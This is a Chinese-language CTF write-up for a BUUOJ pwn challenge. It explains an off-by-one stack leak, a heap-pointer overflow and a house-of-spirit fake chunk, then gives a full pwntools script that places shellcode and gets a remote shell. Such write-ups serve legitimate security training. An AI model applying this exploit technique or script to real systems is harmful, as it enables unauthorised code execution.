checksec:
栈可执行 未开PIE Canary
64位
IDA64查看:
跟进:
这个函数存在一个off by one漏洞 如果填充字符为0x30且无换行符 那么就会把v2末尾的0覆盖 从而让printf打印出RBP:
sub_4007DF函数用于读取id
该函数会先创建一个0x40的堆 然后读取0x40的数据 并复制到dest
存在溢出:read能够将dest(堆指针)给覆盖 从而改变ptr指向内容
再看下一个函数:
堆的增删功能 同时新建堆能控制大小
思路:
能利用printf泄露栈地址 而且能利用栈溢出覆盖堆指针 也能创建和删除堆
利用house of spirit攻击
同时能修改在程序退出时的返回函数为shell地址(栈可执行)来执行binsh
先泄露栈地址调试看看:
标记的位置是泄露出来的rbp(栈地址) 往上的0x616161...是用于填充的a(头部距离该rbp所处的栈地址0x50) 再往上的0xabc(2748)是输入的id
再往上就是第二次输入的位置(0x7ffee75a2730)(距离该rbp的位置0xC0)
如果要伪造chunk 那就是在距离rbp0x90处 指向该伪chunk的内容
大概思路是:
先往第一次read的地方写入shellcode 补齐0x30字节的同时泄露rbp
利用rbp以及刚刚的调试写出shellcode和伪chunk内容处 再构造伪chunk:
presize置为0 + size为0x41 + 填充(用\x00绕过strcpy) + fakechunk地址 在填充到id前 id所在位置为nextchunk的size(0x20):
最后释放使其进入fastbin 再malloc并编辑 让shellcode的地址覆盖返回地址 最后退出程序的时候就会返回shellcode的地址
exp:
from pwn import *
#p = process('./pwn200')
p = remote("node5.buuoj.cn",26757)
context(os='linux', arch='amd64', log_level='debug')
shellcode = asm(shellcraft.amd64.linux.sh(),arch='amd64')
payload = shellcode.ljust(0x30)
p.sendafter("who are u?\n", payload)
p.recvuntil(payload)
rbp = u64(p.recvn(6).ljust(8, b'\x00'))
print(hex(rbp))
shell_addr = rbp - 0x50
fake_chunk = rbp - 0x90
p.sendlineafter("id ~~?\n", b'32')
payload = p64(0) * 4 + p64(0) + p64(0x41)
payload = payload.ljust(56, b'\x00') + p64(fake_chunk)
p.sendafter("money~\n", payload)
p.sendlineafter("your choice : ", '2')
payload = b'a' * 0x18 + p64(shell_addr)
payload = payload.ljust(0x30, b'\x00')
#gdb.attach(p)
#pause()
p.sendlineafter('your choice : ', '1')
p.sendlineafter('how long?\n', str(0x30))
p.sendafter(str(0x30) + '\n',payload)
p.sendlineafter("your choice : ", '3')
p.interactive()